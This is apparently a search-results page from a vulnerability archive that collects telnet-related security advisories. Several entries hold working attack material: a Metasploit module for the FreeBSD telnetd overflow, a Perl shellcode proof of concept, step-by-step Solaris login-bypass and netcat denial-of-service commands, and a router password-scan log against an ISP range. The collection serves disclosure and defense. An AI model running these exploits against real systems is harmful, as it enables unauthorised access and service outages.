telnet
Search result for 'telnet'
(0.0459678173065 seconds)
Jonathan Stuart/solaris.login.txt ( na)
Hello, Solaris 2.6, 7, and 8 /bin/login has a vulnerability involving the environment variable TTYPROMPT. This vulnerability has already been reported to BugTraq and a patch has been released by Sun. However, a very simple exploit, which does not require any code to be compiled by an attacker, exists. The exploit requires the attacker to simply define the environment variable TTYPROMPT to a 6 character string, inside telnet. I believe this overflows an integer inside login, which specifies whether or not the user has been authenticated (just a guess). Once connected to the remote host, you must type the username, followed by 64 " c"s, and a literal "\n". You will then be logged in as the user without any password authentication. This should work with any account except root (unless remote root login is allowed). Example: coma% telnet telnet> environ define TTYPROMPT abcdef telnet> o localhost SunOS 5.8 bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n Last login: whenever $ whoami bin Jonathan Stuart Network Security Engineer Computer Consulting Partners, Ltd. E-mail: jons@ccpartnersltd.com
This document describes how to compromise Solaris systems prior to version 9 by using a telnet client only.
Jerome Athias/MoroccoTel Default Password ( na)
Hi,
a "vulnerability" was identified on MoroccoTel Boxes:
a telnet server is running, open to the web, with a default password of
admin (or 123456)
This critical vulnerability can affect the entire network of a Country.
Solution: change the default password account or modify the default firmware
NB: a new firmware was released, introducing a cipher on the "PPOE
password" (one common, publicly available PPOE account is largely used)
Discovered by NETpeas research team, NETpeas CERT is trying to contact
the ISP
More details:
Password:
telnettry
41.141.*.* -> Response telnet02: ****
Copyright (c) 2001 - 2006 Huawei
MT882a>
***********************************************************
41.141.*.* -> TELNET PASSWORD FOUND: admin
MT882a> show all
RAS version: V100R001B022 MoroccoTel 2010/02/26
System ID: $5.0.152.1(RUE0.C2)3.11.2.151 20110602_V001 [Jun 02 2011
13:54:48]
romRasSize: 1217226
system up time: 2:45:45 (f2cc9 ticks)
bootbase version: VTC_SPI1.5| 2011/05/26
Hostname = MT882a
Message = <empty>
ip route mode = Yes
bridge mode = Yes
DHCP setting:
DHCP Mode = Server
Client IP Pool Starting Address = 192.168.1.2
Size of Client IP Pool = 64
Primary DNS Server = 8.8.8.8
Secondary DNS Server = 8.8.4.4
DHCP server leasetime = 86400
TCP/IP Setup:
IP Address = 192.168.1.1
IP Subnet Mask = 255.255.255.0
Rip Direction = None
Version = Rip-1
Multicast = IGMP-v2
RemoteNode = 0
Rem Node Name = ISP-0(ISP)
Encapsulation = PPPoE
Multiplexing = LLC-based
Channel active = Yes
VPI/VCI value = 8/35
IP Routing mode= Yes
Bridge mode = No
PPP Username = <snip>
PPP Password
41.141.*.* -> = *******
PPP Username_ext2 =
PPP Password_ext2 =
Service name =
Remote IP Addr = 0.0.0.0
Remote IP Subnet Mask = 0.0.0.0
IP address assignment type = Dynamic
SUA = Yes
Multicast = None
Default Route node = Yes
RemoteNode = 1
Rem Node Name = ISP-1
Encapsulation = RFC 1483
Multiplexing = LLC-based
Channel
41.141.1.9 -> Port 80 open
41.141.*.* -> active = Yes
VPI/VCI value = 0/35
IP Routing mode= No
Bridge mode = Yes
Remote IP Addr = 0.0.0.0
Remote IP Subnet Mask = 0.0.0.0
41.141.*.* -> IP address assignment type = Dynamic
41.141.*.* -> SUA = No
Multicast = None
Default Route node = No
RemoteNode = 2
Rem Node Name = ISP-2
Encapsulation = RFC 1483
Multiplexing = LLC-based
Channel active = Yes
VPI/VCI value = 0/32
IP Routing mode= No
Bridge mode = Yes
Remote IP Addr = 0.0.0.0
Remote IP Subnet Mask = 0.0.0.0
IP address assignment type = Dynamic
SUA = No
Multicast = None
Default Route node = No
RemoteNode = 3
Rem Node Name = ISP-3
Encapsulation = RFC 1483
Multiplexing = LLC-based
Channel active = Yes
VPI/VCI value = 8/32
IP Routing mode= No
Bridge mode = Yes
Remote IP Addr = 0.0.0.0
Remote IP Subnet Mask = 0.0.0.0
IP address assignment type = Dynamic
SUA = No
Multicast = None
Default Route node = No
RemoteNode = 4
Rem Node Name = ISP-4
Encapsulation = RFC 1483
Multiplexing = LLC-based
Channel active = Yes
VPI/VCI value = 8/81
IP Routing mode= No
Bridge mode = Yes
Remote IP
41.141.*.* -> Addr = 0.0.0.0
Remote IP Subnet Mask = 0.0.0.0
IP address assignment type = Dynamic
SUA = No
Multicast = None
Default Route node = No
RemoteNode = 5
Rem Node Name = ISP-5
Encapsulation = RFC 1483
Multiplexing = LLC-based
Channel active = Yes
VPI/VCI value = 0/100
IP Routing mode= No
Bridge mode = Yes
Remote IP A
41.141.*.* -> ddr = 0.0.0.0
Remote IP Subnet Mask = 0.0.0.0
IP address assignment type = Dynamic
SUA = No
sMulticast = None
41.141.*.* -> yDefault Route node = No
s
RemoteNode = 6
aRem Node Name = ISP-6t
sEncapsulation = hRFC 1483
Multiplexing = LLC-based
Channel active = Yes
VPI/VCI value = 1/39
IP Routing mode= No
Bridge mode = Yes
Remote IP Addr = 0.0.0.0
Remote IP Subnet Mask = 0.0.0.0
IP address assignment type = Dynamic
SUA = No
Multicast = None
Default Route node = No
RemoteNode = 7
Rem Node Name = ISP-7
Encapsulation = RFC 1483
Multiplexing = LLC-based
Channel active = Yes
VPI/VCI value = 0/16
IP Routing mode= No
Bridge mode = Yes
Remote IP Addr = 0.0.0.0
Remote IP Subnet Mask = 0.0.0.0
IP address assignment type = Dynamic
SUA = No
Multicast = None
Default Route node = No
MT882a>
RAS version : V100R001B022 MoroccoTel
romRasSize : 1217226
bootbase version : VTC_SPI1.5| 2011/05/26
Product Model : SmartAX
MAC Address : <snip-inclear>
Default Count
41.141.*.* -> ry Code : FF
Boot Module Debug Flag : 00
RomFile Version : 9F
RomFile Checksum : dceb
RAS F/W Checksum : 87b7
SNMP MIB level & OID : 050000000100000002000000030000000400000005
Main Feature Bits : 86
Other Feature Bits :
93 17 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 13 00 00 00
MT882a>
41.141.*.* -> e
41.141.*.* -> ther config
--------------- NDIS CONFIGURATION BLOCK ----------------
type=1 flags=0001
Board/Chassis:1 Lines/Board:1 Channels/Lines:2 Total Channel:2
task-id=8041f1f4 event-q=80458c2c(19) data-q=80458c70(1a) func-id=2
board-cfg=8042c8a4 line-cfg=8042c8bc chann-cfg=8042c8d0
board-pp (8042c8f0)
804273fc
line-pp (8042c8f4)
8042956c
chann-pp (8042c8f8)
804bf8a4 804bfe34
--------------- BOARD DISPLAY ---------------------------
ID slot# n-line n-chann status line-cfg chann-cfg
00 0 1 2 0001 8042c8bc 8042c8d0
--------------- LINE DISPLAY ---------------------------
ID line# board-id n-chann chann-cfg
00 1 00 2 8042c8d0
--------------- CHANNEL DISPLAY -------------------------
ID chan# line-id board-id address name
00 1 00 00 804bf8a4 enet0
01 2 00 00 804bfe34 enet1
MT882a>
--
Jerome Athias - NETpeas
VP, Director of Software Engineer
Palo Alto - Paris - Casablanca
Mobile: +212665346454
www.netpeas.com
---------------------------------------------
Stay updated on Security: www.vulnerabilitydatabase.com
"The computer security is an art form. It's the ultimate martial art."
MoroccoTel boxes suffer from an issue where there is a default password that can be used on the telnet server.
/FreeBSD based telnetd encrypt_key_id brute force ( na)
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Brute
def initialize(info = {})
super(update_info(info,
'Name' => 'FreeBSD based telnetd encrypt_key_id brute force',
'Description' => %q{
This module exploits a buffer overflow in the encryption option handler of the
FreeBSD telnet service.
},
'Author' => [ 'Nenad Stojanovski <nenad.stojanovski[at]gmail.com>' ],
'References' =>
[
['BID', '51182'],
['OSVDB', '78020'],
['CVE', '2011-4862'],
['URL', 'http://www.exploit-db.com/exploits/18280/']
],
'Privileged' => true,
'Payload' =>
{
'Space' => 128,
'BadChars' => "\x00",
},
'Platform' => [ 'bsd' ],
'Targets' =>
[
#
# specific targets
#
[ 'Cisco Ironport 7.x Bruteforce',
{
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x0805cffd },
'Stop' => { 'Ret' => 0x0805aa00 },
'Step' => 8
}
}
],
[ 'Citrix Netscaler 9.x',
{
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x0805bffd },
'Stop' => { 'Ret' => 0x08059000 },
'Step' => 8
}
}
],
[ 'Other FreeBSD based targets',
{
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x0805fffd },
'Stop' => { 'Ret' => 0x08050000 },
'Step' => 8
}
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 23 2011'))
register_options(
[
Opt::RPORT(23),
], self.class )
end
def brute_exploit(addrs)
curr_ret = addrs['Ret']
begin
connect
sock.get_once
print_status('Initiate encryption mode ...')
req = ''
req << "\xff\xfa\x26\x00\x01\x01\x12\x13"
req << "\x14\x15\x16\x17\x18\x19\xff\xf0"
req << "\x00"
sock.put(req)
sock.get_once
req = ''
print_status("Trying return address 0x%.8x..." % curr_ret )
print_status('Sending first payload ...')
req << "\xff\xfa\x26\x07"
req << "\x00"
req << make_nops(71)
penc = payload.encoded.gsub("\xff", "\xff\xff")
req << [curr_ret].pack('V')
req << [curr_ret].pack('V')
req << make_nops(128)
req << penc
req << "\x90\x90\x90\x90"
req << "\xff\xf0"
req << "\x00"
sock.put(req)
sock.get_once
print_status('Sending second payload ...')
sock.put(req)
disconnect
handler
rescue
end
end
end
This Metasploit module exploits a buffer overflow in the encryption option handler of the FreeBSD telnet service.
Dethy/tco.txt ( na)
Synnergy Laboratories Advisory SLA-2000-14
NAME
BSD/Linux telnet client overflow
AFFECTED
Linux
Debian
Redhat
Mandrake
Slackware
[ possibly others ]
BSD
FreeBSD
[ possible others ]
SYNOPSIS
Synnergy Labs has found a bug in the telnet client that causes a stack
overflow by filling the DISPLAY environment variable with approx 1000-3000
bytes, allowing possible code execution to take place.
DESCRIPTION
Synnergy has recently discovered a trivial bug in the BSD/Linux telnet client,
that overwrites the EIP register on the stack. From a security point of view
this bug would not cause much of a problem in general since the telnet client
does not run with elevated priviledges. Though, there are *possible* scenarios
where this bug may present itself. Such a case was provided by the FreeBSD
security admin, who said:
"a non-shell service providing environment, where users are not intended to
be able to execute arbitrary code, but can set environmental variables
(i.e., a telnet-in old-style BBS with a telnet-out function). My suspicion is
that if you have an environment like this, many base system tools suffer from
this limitation "
Other possible scenarious would be, a restricted shell in a role playing game,
or message board system within the shell. Both these situations allow the user
to manually edit the environment variables, thus giving reason behind this advisory.
Since the DISPLAY environment variable is passed through telnetd you could exploit
an account without a password that runs telnet.
The bug occurs by setting the DISPLAY environment variable to around 1000 bytes,
though this may vary from distribution to distribution. Redhat segfaulted around
2000.
Example:
[ dethy@syn ] $ export DISPLAY=`perl -e 'print "A"x1000'`
[ dethy@syn ] $ telnet localhost
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Segmentation fault (core dumped)
Now loading up gdb, we see the following:
#0 0x41414141 in ?? ()
(gdb) info all-registers
eax 0xbfbfd672 -1077946766
ecx 0x3e 62
edx 0x80574d0 134575312
ebx 0xf0 240
esp 0xbfbfd6e8 0xbfbfd6e8
ebp 0x41414141 0x41414141
esi 0xc 12
edi 0xf 15
eip 0x41414141 0x41414141
eflags 0x10246 66118
..a successful hit! EIP and EBP were overwritten, thus arbitary code could
be spawned, but a shell is good enough for us. :)
Below is a proof of concept exploit that demonstrates the overflow by spawning
a shell through telnet, once the environment variable has been set.
#!/usr/bin/perl
# Generic exploit program in perl, which clears the environment to take
# away the need for offset guessing.
# Dvorak (@synnergy.net // @hit2000.org) 1999.
$egg = "\x90" x 1500;
$egg .= "\xeb\x37\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\x36\x89\x76";
$egg .= "\x04\x89\x76\x08\x83\x06\x10\x83\x46\x04\x18\x83\x46\x08\x1b";
$egg .= "\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x1d\x50\x56\xff";
$egg .= "\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x01\x07\x07\xe8\xc4\xff";
$egg .= "\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02";
$egg .= "\x02\x02\x02/bin/sh.-c.sh";
foreach $key (keys %ENV) {
delete $ENV{$key};
}
# change the size of $buf if you need to.
$buf="";
for ($i = 0; $i < 256; $i++) {
$buf .= "\x01\xda\xbf\xbf";
}
# Put here your use for $buf, the string to exploit the vulnerable program with
$ENV{"DISPLAY"} = $buf;
$ENV{"egg"} = $egg;
system("/usr/bin/telnet localhost");
printf("Exploit done\n");
SOLUTION
I have contacted the FreeBSD security admin, and he is working on his own advisory,
I would like to thank Rob Watson for his promptness.
Other distributions should come out with their advisories soon.
AUTHOR
Advisory : dethy @ synnergy.net
Discovery: hf @ synnergy.net
Exploit : dvorak @ synnergy.net
DISCLAIMER
Synnergy Laboratories may not be held liable for the use or potential
effects of these programs or advisories, nor the content contained
within. Use them at your own risk.
COPYRIGHT
Synnergy Laboratories - www.synnergy.net (c) 1998-2000
Synnergy Laboratories Advisory SLA-2000-14 - The BSD/Linux telnet client has a stack overflow which is not usually a security problem, except in the case of a restricted shell environment which allows users to set environment variables and run telnet. Perl proof of concept exploit included.
Stewart Gebbie/slackware7.login.txt ( na)
Hi, Below I describe a bug in Slackware 7.0. I did notify support@slackware.com about a week ago and thought that it was about time to send the bug report to bugtraq. This is regarding a logic but in the shadow suite that enables a brute force attack for finding and cracking login in accounts via telnet (and possibly some other nasty side affects). The bug comes about as a result of the interplay between using md5_crypt and disabling the traditional crypt. The bug occurs when either an account is locked or the account does not exits. In either case the result is that login.c makes a call to pw_auth() in pwauth.c with the password set to "!". This in turn calls _old_auth() in pwauth.c. This finally calls pw_encrypt() in encrypt.c. Now because the password is set to "!" (and not "$1$") the md5_crypt function is not called. Instead the tradition crypt() is called. This has, as far as I can see, been disabled in the Slack 7.0 distribution and always returns NULL and sets errno=95. This causes pw_encrypt() to print out `crypt: Operation not supported' and immediatly call exit(1). Hence, from logging in one can see that the user name does not exist or is locked, further more the exit is immediate with no sleep before prompting again. I did not confirm that crypt() was disabled in the glibc source (simply because it meant downloading all of the glibc source). But the test program I wrote did seem to confirm this. Thanks Stewart
This is regarding a logic but in the shadow suite that enables a brute force attack for finding and cracking login in accounts via telnet (and possibly some other nasty side affects). If the account is locked or does not exist, the telnet connection will drop immediately.
/tetrinet-1.13.dos.txt ( na)
Hi, I found a bug in Tetrinet v1.13 PUBLIC RELEASE. If you connect with telnet on the Tetrinet port, and press 'enter' once, keeping the connection idle, will halt all other processes. No one else will be able to connect, send msgs, etc. The players normally see the status of the other players, but won't be able to see 'm continue now. Result: most players think they're disconnected, or very lagged. They disconnect :). But, if you disconnect, everything what happened when it was not able to be processed, will be emmediatly processed, so if the server was in a game, it would probably be ruined. SkyriM MaD SKiLL 'H' skyrim@m4dskill.org http://www.m4dskill.org
Tetrinet v1.13 has a denial of service vulnerability which is caused by telnetting to the tetrinet port and pressing enter once, freezing the game.
/lynx.2.8.2.extern.txt ( na)
-----BEGIN PGP SIGNED MESSAGE-----
______________________________________________________________________________
SuSE Security Announcement
Package: lynx-2.8.2 and older
Date: Thu Sep 16 21:29:15 CEST 1999
Affected: all Linux distributions using lynx-2.8.2 and older
______________________________________________________________________________
A security hole was discovered in the package mentioned above.
Please update as soon as possible or disable the service if you are using
this software on your SuSE Linux installation(s).
Other Linux distributions or operating systems might be affected as
well, please contact your vendor for information about this issue.
Please note, that that we provide this information on as "as-is" basis only.
There is no warranty whatsoever and no liability for any direct, indirect or
incidental damage arising from this information or the installation of
the update package.
_____________________________________________________________________________
1. Problem Description
When lynx calls external programs for protocols (e.g. telnet), the
location is passed unchecked. This can be used to activate commandline
parameters.
For example, this reference [A HREF="telnet://-n.rhosts"]click me[/A]
would activate the tracefile options on the telnet client, with the
result, that a .rhosts in the current directory would created or
overwritten.
2. Impact
Depending on the external programs called by lynx, files can be created
or truncated, or even remote commands being executed if e.g. ssh or rsh
would be configured in lynx.
3. Solution
Updated the lynx package from our FTP server.
______________________________________________________________________________
Here are the md5 checksums of the upgrade packages, please verify these
before installing the new packages:
lynx-2.8.3dev9-76.i386.rpm fd29230757f76d33e21836965822f7a6 (5.3)
lynx-2.8.3dev9-76.i386.rpm 2fba1f9fcf2c3ad9bbb23f0ea18acecd (6.0)
lynx-2.8.3dev9-76.alpha.rpm f706fa71b38721d1d0e1e69700c467a4 (AXP)
lynx-2.8.3dev9-76.i386.rpm 2fba1f9fcf2c3ad9bbb23f0ea18acecd (6.1)
lynx-2.8.3dev9-76.i386.rpm 18f870d15016f63aa510cc5161c027c2 (6.2)
______________________________________________________________________________
You will find the update on our ftp-Server:
ftp://ftp.suse.com/pub/suse/i386/update/5.3/n1/lynx-2.8.3dev9-76.i386.rpm
ftp://ftp.suse.com/pub/suse/axp/update/6.1/n1/lynx-2.8.3dev9-76.alpha.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.1/n1/lynx-2.8.3dev9-76.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.2/n1/lynx-2.8.3dev9-76.i386.rpm
Webpage for patches:
http://www.suse.de/patches/index.html
or try the following web pages for a list of mirrors:
http://www.suse.de/ftp.html
http://www.suse.com/ftp_new.html
______________________________________________________________________________
SuSE has got two free security mailing list services to which any
interested party may subscribe:
suse-security@suse.com - moderated and for general/linux/SuSE
security discussions. All SuSE security
announcements are send to this list.
suse-security-announce@suse.com - SuSE's announce-only mailing list.
Only SuSE's security annoucements are sent
to this list.
To subscribe, send an email to majordomo@suse.com with the text
subscribe suse-security
or
subscribe suse-security-announce
in the body of the message. Or just issue a
echo subscribe suse-security | mail majordomo@suse.com
or
echo subscribe suse-security-announce | mail majordomo@suse.com
______________________________________________________________________________
If you want to report *NEW* security bugs in the SuSE Linux Distribution
please send an email to security@suse.de or call our support line.
You may use pgp with the public key below to ensure confidentiality.
______________________________________________________________________________
This information is provided freely to everyone interested and may
be redistributed provided that it is not altered in any way.
Type Bits/KeyID Date User ID
pub 2048/3D25D3D9 1999/03/06 SuSE Security Team <security@suse.de>
- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i
mQENAzbhLQQAAAEIAKAkXHe0lWRBXLpn38hMHy03F0I4Sszmoc8aaKJrhfhyMlOA
BqvklPLE2f9UrI4Xc860gH79ZREwAgPt0pi6+SleNFLNcNFAuuHMLQOOsaMFatbz
JR9i4m/lf6q929YROu5zB48rBAlcfTm+IBbijaEdnqpwGib45wE/Cfy6FAttBHQh
1Kp+r/jPbf1mYAvljUfHKuvbg8t2EIQz/5yGp+n5trn9pElfQO2cRBq8LFpf1l+U
P7EKjFmlOq+Gs/fF98/dP3DfniSd78LQPq5vp8RL8nr/o2i7jkAQ33m4f1wOBWd+
cZovrKXYlXiR+Bf7m2hpZo+/sAzhd7LmAD0l09kABRG0JVN1U0UgU2VjdXJpdHkg
VGVhbSA8c2VjdXJpdHlAc3VzZS5kZT6JARUDBRA24S1H5Fiyh7HKPEUBAVcOB/9b
yHYji1/+4Xc2GhvXK0FSJN0MGgeXgW47yxDL7gmR4mNgjlIOUHZj0PEpVjWepOJ7
tQS3L9oP6cpj1Fj/XxuLbkp5VCQ61hpt54coQAvYrnT9rtWEGN+xmwejT1WmYmDJ
xG+EGBXKr+XP69oIUl1E2JO3rXeklulgjqRKos4cdXKgyjWZ7CP9V9daRXDtje63
Om8gwSdU/nCvhdRIWp/Vwbf7Ia8iZr9OJ5YuQl0DBG4qmGDDrvImgPAFkYFzwlqo
choXFQ9y0YVCV41DnR+GYhwl2qBd81T8aXhihEGPIgaw3g8gd8B5o6mPVgl+nJqI
BkEYGBusiag2pS6qwznZiQEVAwUQNuEtBHey5gA9JdPZAQFtOAf+KVh939b0J94u
v/kpg4xs1LthlhquhbHcKNoVTNspugiC3qMPyvSX4XcBr2PC0cVkS4Z9PY9iCfT+
x9WM96g39dAF+le2CCx7XISk9XXJ4ApEy5g4AuK7NYgAJd39PPbERgWnxjxir9g0
Ix30dS30bW39D+3NPU5Ho9TD/B7UDFvYT5AWHl3MGwo3a1RhTs6sfgL7yQ3U+mvq
MkTExZb5mfN1FeaYKMopoI4VpzNVeGxQWIz67VjJHVyUlF20ekOz4kWVgsxkc8G2
saqZd6yv2EwqYTi8BDAduweP33KrQc4KDDommQNDOXxaKOeCoESIdM4p7Esdjq1o
L0oixF12Cg==
=pIeS
- -----END PGP PUBLIC KEY BLOCK-----
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv
iQEVAwUBN+FG7Hey5gA9JdPZAQELOQf+NYQJll4F6e2hwM0E9Qyg4KSpO1yY1pYE
3WjwHxJiXlSjlEY0/BM+FD1A6CE8W7bQiesQEu/Px0e6EjE8rG507zvvHe71QOl4
PrNy9AO3Hns4PPiNUa2RO0c+qSpA79fnqBofGGaT4obfZk613FjHVFJY/sNGj/xZ
M6s/gicpLw9OfgdXEtUzJCLnS9pL0b4EjFOO8Qrh1WR0hN4TM2coItxfRis1skL7
dRN4yGsu9JIkty4021Kae9Y1cEVtzK6KP8eiUhHV8QUKeDN7f9LdFB/RvRzDNsa2
Y6Al8aS943W/P6ELjhAtDV6Z6UWx+Wk29NMVE8iVxp+CNLA9gCNhDw==
=NJql
-----END PGP SIGNATURE-----
When lynx calls external programs for protocols (e.g. telnet), the location is passed unchecked. This can be used to activate commandline parameters.
/SX-20000620-1 ( na)
FSC Internet / SecureXpert Labs SecureXpert Labs Advisory [SX-20000620-1] - Denial of Service vulnerability in Microsoft Windows 2000 Telnet Server Summary Microsoft Windows 2000 Server is supplied with a Telnet server for remote console access. A Denial of Service vulnerability exists in this server which may be exploited by a local or remote attacker. Details A remote user can cause the telnet server to stop responding to requests by sending a stream of binary zeros to the telnet server. This can easily be reproduced from a Linux system using netcat with an input of /dev/zero, with a command such as "nc target.host 23 < /dev/zero". The Windows 2000 Telnet Server stops responding to requests after a few seconds. If the Telnet Server is set to restart upon failure, it will restart and immediately fail. This will occur repeatedly until the Telnet Server exceeds its restart count, at which point the service remains down. Status Microsoft Corp. has been informed of this vulnerability, and has assigned it incident ID# [MSRC 290]. As of Tuesday June 2000, Microsoft has successfully reproduced the vulnerability and SecureXpert Labs staff are working with Microsoft to prepare a fix. Credits Mike Murray, SecureXpert Labs Max Degtyar, SecureXpert Labs Richard Reiner, SecureXpert Labs About SecureXpert DIRECT SecureXpert DIRECT is an advance security advisory service provided by SecureXpert Labs. Subscriptions are free of charge and may be obtained online at http://www.securexpert.com/services.html.
SecureXpert Labs Advisory [SX-20000620-1] - Denial of Service vulnerability in Microsoft Windows 2000 Telnet Server. A remote user can cause the telnet server to stop responding to requests by sending a stream of binary zeros to the telnet server. This can easily be reproduced from a Linux system using netcat with an input of /dev/zero, with a command such as "nc target.host 23 < /dev/zero".
/webramp-M3.txt ( na)
Date: Thu, 21 Jan 1999 01:18:50 -0800
From: John Stanley <stanley@PEAK.ORG>
To: BUGTRAQ@netspace.org
Subject: WebRamp M3 remote network access bug
I have not seen this problem mentioned on this list. I defer to the
moderator's memory and hope this is valuable information...
The WebRamp M3 is a small SOHO router with 4 10baseT ports on the local
side and three serial ports on the remote side. It acts as the net gateway
and makes dial-up PPP connections automatically when necessary. It also
has NAT functions, so you can use a non-routable local network address and
still communicate worldwide. It monitors the load through the first modem
and will make a second dialup connection if the load is higher than a
configurable value. It will make a third connection if the first two are
reaching capacity. It will not split one connection across two modems,
however, so when you ftp the latest source from somewhere, you are stuck
with single-modem speeds.
You can define what they call a "visible computer", which is simply a
default local IP address to which the M3 will pass all otherwise unknown
packets from the outside. Unless you configure the M3 otherwise, smtp,
nfsd, routed, etc connections from the outside go to the visible computer.
You can also disable visible computer.
The M3 has a rather cryptic command language that can be accessed via a
command serial port or via a telnet connection. It also has a web-based
admin capability.
All in all, it is a rather nice little box, EXCEPT...
I had a visible computer enabled so I could track where outside packets
were coming from. I started doing this because the M3 has a problem
determining activity. It is supposed to time out after a set time if there
is no activity, but it counts the reception of any packet from the outside
as activity, even if the packet is never sent to the local side of the
net. I wanted to see where the activity was coming from[%].
Then I turned "visible computer" off. To test that it was really off, I
tried telnetting into my network from outside. I expected a timeout. I was
surprised to see the WebRamp M3 answer the telnet request with a login
prompt.
Part of the "visible computer" configuration web page is a check-box that
determines if outside telnet packets are to be redirected to the M3. This
box was not checked. Just to be sure, I sent the unchecked configuration
back to the M3. I did this MANY times, just to be sure.
There was nothing I could do to stop the M3 from answering telnet requests
>from outside except to turn "visible computer" back on with a non-existant
local IP address as the destination. (Using an active local IP address
would mean the local system would get the telnet request, as well as any
connections to nfsd or mountd or SMTP...)
The customer support[*] at RampNet has continued to tell me that this is
simply a configuration error on my part, that I am confused by the check
boxes in the web form, and that the web browser is caching pages. "This is
not a bug." The customer support[*] person asked me to send her my remote
IP address and admin password for the box so she could log into the box
and examine my configuration. I tried explaining that dialup IP means I
can get a different IP address every time the M3 dials in, that my M3 was
not dialed in so there was no IP address for it at the current time, and
that sending passwords over the net in the clear wasn't a bright idea.
("Here's the IP address of my computer, and the root password is...").
Finally, the customer support[*] person sent me a series of commands to
send to the M3 over the command serial port that would set my
configuration properly. I sent the commands, and, of course, the M3 still
accepted my remote telnet request and allowed me to log in.
WebRamp/RampNet customer support[*] has had sufficient time to respond to
the problem, and frankly, I am tired of being told that I am too stupid to
configure their hardware properly. This is the same answer I got when I
reported that they were counting packets that were being thrown away as
valid activity and keeping the dialup connection up longer than it should
be. ("Just shut if off when you are done." The fact that they are selling
a box that allows automatic, unattended dialup-on-demand must have slipped
their minds.)
IF YOU ARE USING THIS BOX, you should test it for this problem. All you
need to do to see if your M3 has this problem is to try telnetting to it
>from a system on a remote network. The telnet packets must come to the M3
via the modem; the M3 will always accept telnet connections coming from
the local network. If you see the prompt "WebRamp login: " your M3
is letting anyone in the world connect to it. Work down the web admin
pages through Advanced/Applications/Visible Computer and make sure you
have not checked the "Divert" options, unless you really want your M3
talking to the world (and vice versa.)
If you are using this box, and you see this bug, and you have NOT changed
the admin password from the default, DO SO IMMEDIATELY.
If you aren't using this box now, don't.
[*] ROTFL
[%] A PowWow user had registered the dialup port IP address, and the
PowWow client for a user in Alaska was trying to locate his "buddy" on my
system -- several times a minute for hours at a stretch. I've also seen
Windows networking name service packets leaking through the terminal
server, as well as cracker port scanning attempts.
----------------------------------------------------------------------------
Date: Wed, 3 Feb 1999 09:19:50 -0800
From: Robert Ward <rward@RAMPNET.COM>
To: BUGTRAQ@netspace.org
Subject: WebRamp M3 Perceived Bug
In response to John Stanley's posting on January 21, 1999.
1) The perceived problem is that upon manualling disabling the diversion of
incoming telnet requests to the webramp, and not setting up a Visible
Computer, or telnet Local Server, telnet traffic continues to divert to the
Webramp.
This is largely due to the Webramp's logic. Upon receiving incoming traffic
on port 23 the WebRamp checks it's divert port options, notices that telnet
diversion is off, then looks for a visible computer or local server to pass
the traffic to. Failing this the WebRamp then defaults back to diverting
the port 23 traffic to itself.
We designed this box with being able to access the CLI or HTTP interface
>from the WAN in mind. This feature allows for remote management and trouble
shooting of the WebRamp, and has proved to be an essential tool to our
support department. If security is a concern change the Administrative
password on your WebRamp, and do so frequently.
The Divert Port options were never intended to be a security feature, rather
they are there so that you can bypass the webramps built in telnetd and
httpd and pass packets to your in-house server.
2) This is true for every M3/M3t/M3i/300 user who is not using Visible
Computers or telnet Local Servers. I would approximate this number to be in
the 90% or higher range. The number of customers who have actively tried to
disable incoming telnet sessions that we are aware of is much lower than 1%.
3) There are workarounds readily available.
The easiest way to prevent unwanted access to your WebRamp is to change the
Admin Password, and as with all things security related, change it often.
To completely block telnet access (so that the session can't even be
initiated) from the WAN you have two options.
Method 1: Enable a Visible Computer for each active modem port and pointing
to IP addresses that are not being used in your LAN (e.g. 192.168.1.254 is a
good place to start as DHCP is not likely to ever pass it out), and uncheck
both of the divert incoming boxes.
Method 2: Enable a Local Server of the Telnet and Web type and point them
to an IP address that is not in use on your network. Then telnet into the
webramp and use the divertport to disable all incoming diversions. This
will only work for modem 1. If you are using 2 or more modems use method
one.
4) Last but not least, engineering has agreed to incorporate a change in
the M3 families code to mimic the 310. This would allow the user to simply
check one box to disallow WAN access to the httpd and telnetd processes.
Since there are workarounds available, and useability/functionality is not
impaired, this is considered to be a priority 4 and may be incorporated in
the next point release.
Robert Ward
Senior Customer Support Engineer
Ramp Networks
----------------------------------------------------------------------------
Date: Thu, 4 Feb 1999 13:26:06 -0800
From: John Stanley <stanley@PEAK.ORG>
To: BUGTRAQ@netspace.org
Subject: Re: WebRamp M3 Perceived Bug
Regarding the subject, am I to assume that since this is only a
"perceived" bug, your supervisor of customer service was fibbing to me
when he admitted on the phone that this was, indeed, a problem that needed
to be fixed? He hasn't called me back like he promised he was going to,
nor has he sent me email like he promised he would. Since he's gone mute,
are you the official Rampnet spokesman now?
On Wed, 3 Feb 1999, Robert Ward wrote:
> 1) The perceived problem is that upon manualling disabling the diversion of
> incoming telnet requests to the webramp, and not setting up a Visible
> Computer, or telnet Local Server, telnet traffic continues to divert to the
> Webramp.
This is not a "perceived" problem, it actually happens. I would echo your
words "manually disabling the diversion of incoming telnet requests to the
webramp". When I disable something, it is not supposed to happen.
However...
> This is largely due to the Webramp's logic. Upon receiving incoming traffic
> on port 23 the WebRamp checks it's divert port options, notices that telnet
> diversion is off, then looks for a visible computer or local server to pass
> the traffic to. Failing this the WebRamp then defaults back to diverting
> the port 23 traffic to itself.
In other words, the M3 says "the user has told me not to divert port 23
traffic to myself, but I know better than he does where it should go, and
he couldn't possibly want anything as important as a telnet connection on
port 23 to be ignored. I'll go ahead and make the connection anyway."
